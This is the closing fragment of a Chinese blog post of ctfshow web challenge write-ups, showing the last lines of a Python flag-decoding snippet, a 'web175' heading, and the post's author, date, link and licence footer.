.replace('numI','9')\
.replace('numJ','0')



print(flag)

image-20210727091931245

web175

本文标题:【ctfshow】web篇wp记录(持续更新)

文章作者:孤桜懶契

发布时间:2021年07月13日 - 08:18:08

最后更新:2021年07月27日 - 09:42:41

原始链接:https://gylq.gitee.io/2021/07/13/%E3%80%90ctfshow%E3%80%91web%E7%AF%87wp%E8%AE%B0%E5%BD%95%EF%BC%88%E6%8C%81%E7%BB%AD%E6%9B%B4%E6%96%B0%EF%BC%89/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------